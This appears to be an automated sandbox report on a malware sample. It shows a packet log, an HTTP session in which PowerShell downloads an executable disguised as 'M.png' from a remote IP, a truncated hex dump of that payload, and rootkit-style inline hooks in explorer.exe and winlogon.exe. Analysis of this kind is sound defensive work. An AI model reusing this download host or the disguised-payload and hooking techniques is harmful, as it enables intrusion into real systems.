Dec 18, 2024 14:07:47.109329939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.109581947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.109626055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.109632969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.110450983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.110464096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.110507011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.111278057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.111335039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.111498117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.112065077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.112113953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.112153053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.112752914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.112801075 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.112844944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.113667011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.113749027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.113763094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.114578962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.114629984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.114634037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.115307093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.115355968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.115382910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.115901947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.115955114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.116003036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.116267920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.116319895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.116360903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.116846085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.116899014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.116900921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.117928028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.117980003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.118074894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.118699074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.118747950 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.118782997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.119352102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.119409084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.119502068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.120100975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.120148897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.120316982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.121058941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.121073961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.121157885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.121687889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.121738911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.121795893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.122539997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.122589111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.122834921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.123387098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.123436928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.123452902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.124214888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.124264002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.124320030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.124994993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.125047922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.125118017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.125847101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.125895977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.125955105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.126642942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.126697063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.126773119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.127543926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.127559900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.127609968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.128372908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.128633976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.128699064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.129175901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.129234076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.129291058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.129921913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.129980087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.129997015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.130809069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.130863905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.130912066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.131563902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.131784916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.131850958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.132407904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.132510900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.132507086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.133250952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.133331060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.133353949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.134234905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.134331942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.134387970 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.134860039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.134994030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.135056019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.135755062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.135809898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.135852098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.136570930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.136626005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.136661053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.137434959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.137496948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.229285955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.229362965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.229418039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.229789019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.229824066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.229875088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.230606079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.230793953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.230840921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.231370926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.231484890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.231545925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.232184887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.232319117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.232386112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.233021975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.233165979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.233850956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.233906031 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.233958006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.234277010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.234646082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.234740019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.234796047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.235563993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.235578060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.235639095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.236330986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.236387968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.236582994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.237128973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.237323999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.237370968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.237967014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.238092899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.238141060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.238786936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.238894939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.238945961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.239598036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.284565926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.296513081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.296622992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.296736956 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.296830893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.296942949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.297118902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.297619104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.297672033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.297727108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.298232079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.298386097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.298470020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.300002098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.300065994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.300122023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.300417900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.300616980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.301336050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.301354885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.301402092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.301433086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.302197933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.302213907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.302277088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.302954912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.303036928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.303102016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.303766966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.303908110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.303958893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.304640055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.304913044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.305083990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.305377960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.305555105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.305607080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.306216002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.306380987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.306428909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.307646036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.307661057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.307713032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.308357954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.308501005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.308552980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.308758974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.308847904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.308892965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.309524059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.309726954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.309775114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.310432911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.310622931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.310671091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.311216116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.311279058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.311330080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.312123060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.312139034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.312185049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.312864065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.312947035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.312998056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.313791037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.313855886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.313909054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.314522982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.314589977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.314637899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.315327883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.315382004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.315426111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.316155910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.316179037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.316222906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.316890001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.316956997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.317004919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.317883968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.317898035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.317934036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.318600893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.318620920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.318670034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.319356918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.319534063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.319596052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.320183992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.320363998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.320405960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.321125031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.321152925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.321199894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.322202921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.362688065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.641798973 CET	49707	80	192.168.2.8	176.113.115.178

HTTP Request Dependency Graph

176.113.115.178

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	176.113.115.178	80	5328	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:07:33.835376978 CET	70	OUT	GET /M.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:35.287214994 CET	1236	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:35 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEd^ne"xT@u`USf "`"( SR@.rsrcfSR@.idata US@ 8US@ndryujmpp!`f!S@tnyudguu*u@.pdataI,u@@
Dec 18, 2024 14:07:35.287328959 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:35.287461996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:35.287585974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:35.287600994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:35.287801981 CET	1236	IN	Data Raw: 1f e5 1a 1b d0 cd c8 2f 83 44 69 46 aa fa be 19 20 10 1d 39 95 7f 0c 43 af 22 11 0f 98 23 4a 4d e8 a0 64 02 5c c9 61 c9 05 b8 91 44 0f f3 ca 06 dd 64 4a fe 82 a9 0f e4 10 96 93 74 7f 04 43 73 22 d5 0f f3 6a 81 a5 e8 64 64 c6 41 48 4e 9c 31 fd 55 Data Ascii: /DiF 9C"#JMd\aDdJtCs"jddAHN1U\|?Fv{"=W*(Do{R?4$lA50]dNwV??L20 ZD!TO<-)8c.fuI)$Eh@\u
Dec 18, 2024 14:07:35.287815094 CET	1236	IN	Data Raw: 53 41 c5 10 06 d5 01 c1 59 42 55 0b 89 4c 20 28 c8 f8 13 28 08 da 30 85 e8 4e b3 b1 15 12 55 91 29 c1 8d 4c 24 53 7e 61 13 0a 08 74 51 03 40 af f5 3d 27 ab c5 45 13 b5 66 0b 28 7d 02 6f 0b 0a 7d 59 33 20 40 33 f7 58 61 5d 43 1a f8 67 ba a2 d9 bf Data Ascii: SAYBUL ((0NU)L$S~atQ@='Ef(}o}Y3 @3Xa]CgN<@4#RROdX=TiYr=VoKJ)GN!l%$z@I0O^PX\IH(F6*%BDQtr-I:SZMg'Lu50[qfSJ,
Dec 18, 2024 14:07:35.287992954 CET	1236	IN	Data Raw: c3 9a d0 1c 05 a1 eb b0 44 56 68 49 8f 11 3a ca 32 a9 db cd b6 40 d0 b0 c0 10 f6 40 27 20 ec f2 99 94 2c 0d 1d ff 4a eb e8 9e 2e 30 53 df 39 34 99 46 1a 89 0d af 25 52 72 97 74 ba e0 c3 38 9c 8d 1a a2 1f c6 88 34 70 4c 1c 63 42 3c b2 6a 02 19 62 Data Ascii: DVhI:2@@' ,J.0S94F%Rrt84pLcB<jbC)ABeQMGHYoB4TIO<'pL`9tDvbrAs$UmVpR=HFz iK]5HS(PDx$EQP,(E9t&C4yD
Dec 18, 2024 14:07:35.288005114 CET	1236	IN	Data Raw: 51 08 c4 00 6a 50 12 0c ed 1b f3 50 c6 d6 40 c4 fd c8 03 19 21 38 a8 62 88 54 20 bc 30 9e e9 68 9b 19 1f 0c b9 08 e8 55 7a a8 0a bd 49 2a 88 84 6b 39 83 2e 4b 1f 4a d2 c6 f0 99 18 16 09 09 97 e8 a3 e7 a4 0a 7a 58 44 99 0f 4b 28 30 22 48 81 c4 96 Data Ascii: QjPP@!8bT 0hUzIk9.KJzXDK(0"H1[]kP!Y1w%fvA#TbZX`^Y(u<DFJ3j#8KVb$"ADW(UIP(YBPR@oYN)}1p!BT4 C)PLFTmP
Dec 18, 2024 14:07:35.288017988 CET	1236	IN	Data Raw: 61 59 79 85 41 b7 03 66 ad 37 2f fe 93 d1 14 52 e0 02 08 2d a4 1b 98 c2 7c 7a 42 6c 6c 94 14 ac be 80 c8 4b 4a 01 85 3d fb 80 35 92 08 0a 02 ad c0 e5 eb 20 b3 e0 66 42 b4 17 44 3b 02 0e 36 c7 95 60 22 9e f2 42 78 89 51 3c 59 e6 c4 b1 69 08 42 a1 Data Ascii: aYyAf7/R-\|zBllKJ=5 fBD;6`"BxQ<YiB\u\|=DxHLOU$!P3,#axi&nwg4gb#L$mb?y$h<DZ0H@#q[4F0KPwIL\|#@8sg3-1
Dec 18, 2024 14:07:35.407617092 CET	1236	IN	Data Raw: 34 92 1b f8 80 29 8d 14 c5 80 48 27 7c d1 6f 13 c6 b3 6a 59 0d b3 0b 85 b0 16 5b a2 8f 35 02 f3 8c 5c 8a 5d 6e 23 b7 b6 b2 47 d1 0e 2a 63 3e b5 b8 64 0f 6e 80 48 30 4c 16 88 a6 42 ca 14 98 4c e8 2d 6e e8 90 ad 6c 2c f8 a0 a1 13 8d 61 6b 9d 0f 4c Data Ascii: 4)H'\|ojY[5\]n#G*c>dnH0LBL-nl,akLAbtG9>DR`fOU\DPE"_j)u0;"9Edx03 &D%AFn1?JhkCQ[6YRR%("Pah%2mM+.I 8YCE?PDGt2AFaHv

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
